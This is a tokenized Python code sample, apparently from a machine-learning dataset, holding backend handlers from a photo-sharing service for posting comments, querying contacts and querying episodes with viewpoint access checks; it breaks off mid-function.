"[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Post", "Comment_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Add", "s", " ", "a", " ", "new", " ", "comment", " ", "to", " ", "an", " ", "exist", "ing", " ", "view", "point", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "request_", "._", "pop_", "(_", "'", "header", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "activity_", "=_", "request_", "._", "pop_", "(_", "'", "activit", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "point", "\\u", "id_", "=_", "request_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "activity_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Comment_", "._", "Verify", "Comme", "nt", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "comment", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "{_", "'", "header", "s", "'_", ":_", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "id", "'_", ":_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "activit", "y", "'_", ":_", "activity_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "comment", "'_", ":_", "request_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Post", "Comme", "nt", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "POST", " ", "COMMENT", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "view", "point", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "view", "point", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Query", "Conta", "cts_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Querie", "s", " ", "contact", "s", " ", "for", " ", "the", " ", "current", " ", "user", ".", "\\", "10", ";", " ", " ", "Not", "e", ":", " ", "Thi", "s", " ", "doe", "s", " ", "not", " ", "remove", " ", "duplicat", "e", " ", "contact", " ", "entri", "es", ".", " ", " ", "Thi", "s", " ", "isn", "'", "t", " ", "practic", "al", " ", "bec", "aus", "e", " ", "multiple", "\\", "10", ";", " ", " ", "contact", "s", " ", "with", " ", "the", " ", "same", " ", "contact", "\\u", "id", " ", "may", " ", "be", " ", "presen", "t", " ", "acro", "ss", " ", "multiple", " ", "range", " ", "query", " ", "results", ".", " ", " ", "Multipl", "e", "\\", "10", ";", " ", " ", "contact", "s", " ", "with", " ", "the", " ", "same", " ", "contact", "\\u", "id", " ", "shou", "ld", " ", "be", " ", "very", " ", "uncomm", "on", ",", " ", "but", " ", "are", " ", "possib", "le", ".", " ", " ", "Be", "caus", "e", " ", "older", "\\", "10", ";", " ", " ", "contact", " ", "rows", " ", "are", " ", "return", "ed", " ", "first", ",", " ", "the", " ", "client", " ", "may", " ", "assume", " ", "the", " ", "last", " ", "contact", " ", "with", " ", "the", " ", "same", " ", "contact", "\\u", "id", "\\", "10", ";", " ", " ", "is", " ", "the", " ", "correct", " ", "one", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Make", "Conta", "ct", "Dict_", "(_", "contact_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Make", "s", " ", "a", " ", "dict", " ", "for", " ", "JSO", "N", " ", "output", " ", "from", " ", "the", " ", "contact", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "dict_", "=_", "{_", "'", "contact", "\\u", "id", "'_", ":_", "contact_", "._", "contact", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "contact", "\\u", "source", "'_", ":_", "contact_", "._", "contact", "\\u", "source_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "c\\u", "dict_", ",_", "'", "name", "'_", ",_", "contact_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "c\\u", "dict_", ",_", "'", "give", "n", "\\u", "name", "'_", ",_", "contact_", "._", "give", "n", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "c\\u", "dict_", ",_", "'", "famil", "y", "\\u", "name", "'_", ",_", "contact_", "._", "famil", "y", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "c\\u", "dict_", ",_", "'", "rank", "'_", ",_", "contact_", "._", "rank_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "contact_", "._", "labels_", "is_", "not_", "None_", "and_", "len_", "(_", "contact_", "._", "labels_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c\\u", "dict_", "[_", "'", "labels", "'_", "]_", "=_", "list_", "(_", "contact_", "._", "labels_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "identities", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "contact_", "._", "identities", "\\u", "properties_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "identi", "ty", "\\u", "properties_", "in_", "contact_", "._", "identities", "\\u", "properties_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "identi", "ty", "\\u", "key_", "=_", "identi", "ty", "\\u", "properties_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "identi", "ty", "\\u", "dict_", "=_", "{_", "'", "identi", "ty", "'_", ":_", "identi", "ty", "\\u", "key_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "identi", "ty", "\\u", "dict_", ",_", "'", "description", "'_", ",_", "identi", "ty", "\\u", "properties_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "identi", "ty", "\\u", "dict_", ",_", "'", "user", "\\u", "id", "'_", ",_", "identi", "ty", "\\u", "key", "\\u", "to", "\\u", "user", "\\u", "id", "\\u", "map_", "[_", "Identity_", "._", "Canonical", "ize_", "(_", "identi", "ty", "\\u", "key_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "identities", "\\u", "list_", "._", "append_", "(_", "identi", "ty", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c\\u", "dict_", "[_", "'", "identities", "'_", "]_", "=_", "identities", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "c\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "start", "\\u", "key_", "=_", "request_", "._", "get_", "(_", "'", "start", "\\u", "key", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "limit_", "=_", "request_", "._", "get_", "(_", "'", "limit", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "contacts_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Contact_", "._", "Range", "Query_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hash", "\\u", "key_", "=_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "range", "\\u", "desc_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "limit_", "=_", "limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "col", "\\u", "names_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "excl", "\\u", "start", "\\u", "key_", "=_", "start", "\\u", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "scan", "\\u", "forward_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "correspond", "ing", " ", "identities", "._", "\\u\\u\\uNL\\u\\u\\u_", "identi", "ty", "\\u", "keys_", "=_", "list_", "(_", "{_", "identity_", "for_", "co_", "in_", "contacts_", "for_", "identity_", "in_", "co_", "._", "identities", "_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "identi", "ty", "\\u", "db", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "identi", "ty", "\\u", "key_", ",_", "None_", ")_", "for_", "identi", "ty", "\\u", "key_", "in_", "identi", "ty", "\\u", "keys_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "identities", "_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Identity_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "identi", "ty", "\\u", "db", "keys_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "ids_", "=_", "[_", "identity_", "._", "user", "\\u", "id_", "if_", "identity_", "is_", "not_", "None_", "else_", "None_", "for_", "identity_", "in_", "identities", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "identi", "ty", "\\u", "key", "\\u", "to", "\\u", "user", "\\u", "id", "\\u", "map_", "=_", "dict_", "(_", "zip_", "(_", "identi", "ty", "\\u", "keys_", ",_", "user", "\\u", "ids_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Form", "ulate", "s", " ", "the", " ", "contact", "s", " ", "list", " ", "int", "o", " ", "a", " ", "dict", " ", "for", " ", "JSO", "N", " ", "output", "._", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "{_", "'", "num", "\\u", "contact", "s", "'_", ":_", "len_", "(_", "contacts_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "contact", "s", "'_", ":_", "[_", "\\u", "Make", "Conta", "ct", "Dict_", "(_", "co_", ")_", "for_", "co_", "in_", "contacts_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "contacts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "[_", "'", "last", "\\u", "key", "'_", "]_", "=_", "contacts_", "[_", "-_", "1_", "]_", "._", "sort", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "QUE", "RY", " ", "CONTACT", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "contact", "s", ",", " ", "start", " ", "key", " ", "%", "s", ",", " ", "last", " ", "key", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "response_", "[_", "'", "num", "\\u", "contact", "s", "'_", "]_", ",_", "start", "\\u", "key_", ",_", "response_", "._", "get_", "(_", "'", "last", "\\u", "key", "'_", ",_", "'", "Non", "e", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Query", "Episod", "es_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ",_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Querie", "s", " ", "posts", " ", "from", " ", "the", " ", "specified", " ", "episode", "s", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Make", "Photo", "Dict_", "(_", "post_", ",_", "photo_", ",_", "user", "\\u", "post_", ",_", "user", "\\u", "photo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ph", "\\u", "dict_", "=_", "photo_", "._", "Make", "Meta", "data", "Dict_", "(_", "post_", ",_", "user", "\\u", "post_", ",_", "user", "\\u", "photo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Do", " ", "not", " ", "return", " ", "access", " ", "URL", "s", " ", "for", " ", "posts", " ", "whi", "ch", " ", "have", " ", "bee", "n", " ", "remove", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "post_", "._", "Is", "Remove", "d_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "Add", "Photo", "Urls", "_", "(_", "obj", "\\u", "store_", ",_", "ph", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ph", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "limit_", "=_", "request_", "._", "get_", "(_", "'", "photo", "\\u", "limit", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "all", " ", "request", "ed", " ", "episode", "s", ",", " ", "along", " ", "with", " ", "posts", " ", "for", " ", "each", " ", "episode", "._", "\\u\\u\\uNL\\u\\u\\u_", "episode", "\\u", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "ep", "\\u", "dict_", "[_", "'", "episode", "\\u", "id", "'_", "]_", ",_", "None_", ")_", "for_", "ep", "\\u", "dict_", "in_", "request_", "[_", "'", "episode", "s", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "post", "\\u", "tasks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ep", "\\u", "dict_", "in_", "request_", "[_", "'", "episode", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ep", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "photo", "s", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "post", "\\u", "tasks_", "._", "append_", "(_", "gen_", "._", "Task_", "(_", "Post_", "._", "Range", "Query_", ",_", "client_", ",_", "ep", "\\u", "dict_", "[_", "'", "episode", "\\u", "id", "'_", "]_", ",_", "None_", ",_", "limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", ",_", "excl", "\\u", "start", "\\u", "key_", "=_", "ep", "\\u", "dict_", "._", "get_", "(_", "'", "photo", "\\u", "start", "\\u", "key", "'_", ",_", "None_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "post", "\\u", "tasks_", "._", "append_", "(_", "util_", "._", "Gen", "Constant_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "episodes_", ",_", "posts", "\\u", "list_", "=_", "yield_", "[_", "gen_", "._", "Task_", "(_", "Episode_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "episode", "\\u", "keys_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Multi", "_", "(_", "post", "\\u", "tasks_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "view", "point", " ", "record", "s", " ", "for", " ", "all", " ", "view", "points", " ", "contain", "ing", " ", "episode", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "view", "point", "\\u", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "view", "point", "\\u", "id_", ",_", "None_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "view", "point", "\\u", "id_", "in_", "set_", "(_", "ep_", "._", "view", "point", "\\u", "id_", "for_", "ep_", "in_", "episodes_", "if_", "ep_", "is_", "not_", "None_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "follower", " ", "record", "s", " ", "for", " ", "all", " ", "view", "points", " ", "contain", "ing", " ", "episode", "s", ",", " ", "along", " ", "with", " ", "photo", " ", "and", " ", "user", " ", "post", " ", "object", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "follower", "\\u", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "user", "\\u", "id_", ",_", "db", "\\u", "key_", "._", "hash", "\\u", "key_", ")_", "for_", "db", "\\u", "key_", "in_", "view", "point", "\\u", "keys_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "all", "\\u", "posts_", "=_", "[_", "post_", "for_", "posts_", "in_", "posts", "\\u", "list_", "if_", "posts_", "is_", "not_", "None_", "for_", "post_", "in_", "posts_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "photo", "\\u", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "post_", "._", "photo", "\\u", "id_", ",_", "None_", ")_", "for_", "post_", "in_", "all", "\\u", "posts_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "post", "\\u", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "user", "\\u", "id_", ",_", "Post_", "._", "Construct", "Post", "Id_", "(_", "post_", "._", "episode", "\\u", "id_", ",_", "post_", "._", "photo", "\\u", "id_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "post_", "in_", "all", "\\u", "posts_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", "(", "ben", "):", " ", "we", " ", "can", " ", "probab", "ly", " ", "skip", " ", "this", " ", "for", " ", "the", " ", "web", " ", "view_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "photo", "\\u", "task_", "=_", "gen_", "._", "Task_", "(_", "User", "Photo_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "user", "\\u", "id_", ",_", "post_", "._", "photo", "\\u", "id_", ")_", "for_", "post_", "in_", "all", "\\u", "posts_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "photo", "\\u", "task_", "=_", "util_", "._", "Gen", "Constant_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "view", "points_", ",_", "followers", "_", ",_", "photos_", ",_", "user", "\\u", "posts_", ",_", "user", "\\u", "photos_", "=_", "yield_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Task_", "(_", "View", "point_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "view", "point", "\\u", "keys_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Task_", "(_", "Followe", "r_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "follower", "\\u", "keys_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Task_", "(_", "Photo_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "photo", "\\u", "keys_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Task_", "(_", "User", "Post_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "user", "\\u", "post", "\\u", "keys_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "photo", "\\u", "task_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "set", " ", "of", " ", "view", "point", " ", "ids", " ", "to", " ", "whi", "ch", " ", "the", " ", "current", " ", "user", " ", "has", " ", "access", "._", "\\u\\u\\uNL\\u\\u\\u_", "view", "able", "\\u", "view", "point", "\\u", "ids_", "=_", "set_", "(_", "view", "point_", "._", "view", "point", "\\u", "id_", "for_", "view", "point_", ",_", "follower", "_", "in_", "zip_", "(_", "view", "points_", ",_", "followers", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u", "Can", "View", "View", "point", "Content_", "(_", "view", "point_", ",_", "follower", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "dict_", "=_", "{_", "'", "episode", "s", "'_", ":_", "[_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "photos_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "ep", "\\u", "dict_", ",_", "episode_", ",_", "posts_", "in_", "zip_", "(_", "request_", "[_", "'", "episode", "s", "'_", "]_", ",_", "episodes_", ",_", "posts", "\\u", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Gather", " ", "list", " ", "of", " ", "(", "post", ",", " ", "photo", ",", " ", "user", "\\u", "post", ")", " ", "tuple", "s", " ", "for", " ", "this", " ", "episode", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "photo", "\\u", "info", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ep", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "photo", "s", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "post_", "in_", "posts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "photo_", "=_", "photos_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "post_", "=_", "user", "\\u", "posts_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "photo_", "=_", "user", "\\u", "photos_", "._", "pop_", "(_", "0_", ")_", "if_", "user", "\\u", "photos_", "is_", "not_", "None_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "photo_", "._", "photo", "\\u", "id_", "==_", "post_", "._", "photo", "\\u", "id_", ",_", "(_", "episode_", ",_", "post_", ",_", "photo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user", "\\u", "photo_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "user", "\\u", "photo_", "._", "photo", "\\u", "id_", "==_", "photo_", "._", "photo", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "user", "\\u", "photo_", "._", "user", "\\u", "id_", "==_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "photo", "\\u", "info", "\\u", "list_", "._", "append_", "(_", "(_", "post_", ",_", "photo_", ",_", "user", "\\u", "post_", ",_", "user", "\\u", "photo_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "episode_", "is_", "not_", "None_", "and_", "episode_", "._", "view", "point", "\\u", "id_", "in_", "view", "able", "\\u", "view", "point", "\\u", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "ep", "\\u", "dict_", "=_", "{_", "'", "episode", "\\u", "id", "'_", ":_", "ep", "\\u", "dict_", "[_", "'", "episode", "\\u", "id", "'_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", "ly", " ", "return", " ", "episode", " ", "metadata", " ", "if", " ", "\"", "get", "\\u", "attribute", "s", "\"", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "ep", "\\u", "dict_", "._", "get_", "(_", "'", "get", "\\u", "attribute", "s", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "ep", "\\u", "dict_", "._", "update_", "(_", "episode_", "._", "\\u", "asd", "ict_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", "ly", " ", "return", " ", "photo", "s", " ", "if", " ", "\"", "get", "\\u", "photo", "s", "\"", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ep", "\\u", "dict_", "._", 